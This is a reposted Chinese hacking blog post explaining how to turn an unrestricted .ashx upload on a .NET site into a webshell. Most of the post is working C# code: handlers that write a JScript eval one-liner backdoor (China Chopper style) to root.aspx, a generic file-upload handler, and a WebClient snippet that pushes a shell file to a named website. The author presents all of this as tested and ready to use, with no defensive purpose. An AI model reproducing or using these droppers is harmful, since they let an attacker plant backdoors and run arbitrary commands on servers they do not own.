关于Ashx脚本写aspx木马的方法汇总 原创hackfreer2011-02-17 07:55:55评论(2)

Author:Pnig0s1992

某站,.Net环境,上传处未限制Ashx和Asmx,后者上传无法运行,提示Asmx脚本只能在本地运行,于是打算先传个Ashx脚本然后在当前目录下生成Aspx文件(目标不能执行Asp文件),

网上找到如下Ashx代码:


  1. <%@ WebHandler Language="C#" Class="Handler" %> 
  2.  
  3. using System; 
  4. using System.Web; 
  5. using System.IO; 
  6. public class Handler : IHttpHandler { 
  7.     
  8.     public void ProcessRequest (HttpContext context) { 
  9.         context.Response.ContentType = "text/plain"
  10.          
  11.         StreamWriter file1= File.CreateText(context.Server.MapPath("root.aspx")); 
  12.         file1.Write("<%@ Page Language=\"Jscript\"%><%eval(Request.Item[\"pass\"],\"unsafe\");%>"); 
  13.         file1.Flush(); 
  14.         file1.Close(); 
  15.          
  16.     } 
  17.  
  18.     public bool IsReusable { 
  19.         get { 
  20.             return false
  21.         } 
  22.     } 
  23.  

我将脚本中的Asp一句话改成菜刀的Aspx一句话~不过执行的时候爆错,说未知指令@Page。遂采用一下2种方式解决:

1,用String连接字符串

 


  1. <%@ WebHandler Language="C#" Class="Handler" %> 
  2.  
  3. using System; 
  4. using System.Web; 
  5. using System.IO; 
  6. public class Handler : IHttpHandler { 
  7.      
  8.     public void ProcessRequest (HttpContext context) { 
  9.         context.Response.ContentType = "text/plain"
  10.         string show="<% @Page Language=\"Jscript\"%"+"><%eval(Request.Item"+"[\"chopper\"]"+",\"unsafe\");%>"
  11.         StreamWriter file1= File.CreateText(context.Server.MapPath("root.aspx")); 
  12.         file1.Write(show); 
  13.         file1.Flush(); 
  14.         file1.Close(); 
  15.          
  16.     } 
  17.  
  18.     public bool IsReusable { 
  19.         get { 
  20.             return false
  21.         } 
  22.     } 
  23.  

2.比较笨的方法,看代码吧

 


  1. <%@ WebHandler Language="C#" Class="Uploader" %> 
  2. using System; 
  3. using System.IO; 
  4. using System.Web;    
  5.  
  6. public class Uploader : IHttpHandler 
  7.     public void ProcessRequest(HttpContext hc) 
  8.     { 
  9.         foreach (string fileKey in hc.Request.Files) 
  10.         { 
  11.             HttpPostedFile file = hc.Request.Files[fileKey]; 
  12.             file.SaveAs(Path.Combine(hc.Server.MapPath("."), file.FileName)); 
  13.         } 
  14.     }    
  15.  
  16.     public bool IsReusable 
  17.     { 
  18.         get { return true; } 
  19.     } 

然后用VS建立WinForm程序~主函数里写:

 


  1. System.Net.WebClient myWebClient = new System.Net.WebClient(); 
  2. myWebClient.UploadFile("http://www.xcnzz.com/Uploader.ashx""POST""C:\\ma.aspx"); 

执行就可以了~以上方法均测试成功~

P.S:Thx from T00ls.







本文转hackfreer51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/495155,如需转载请自行联系原作者



上一篇:《设计原本—计算机科学巨匠Frederick P. *s的反思》一一1.3 何为实在?


下一篇:《设计原本—计算机科学巨匠Frederick P. *s的反思》一一第 1 章 设计的疑问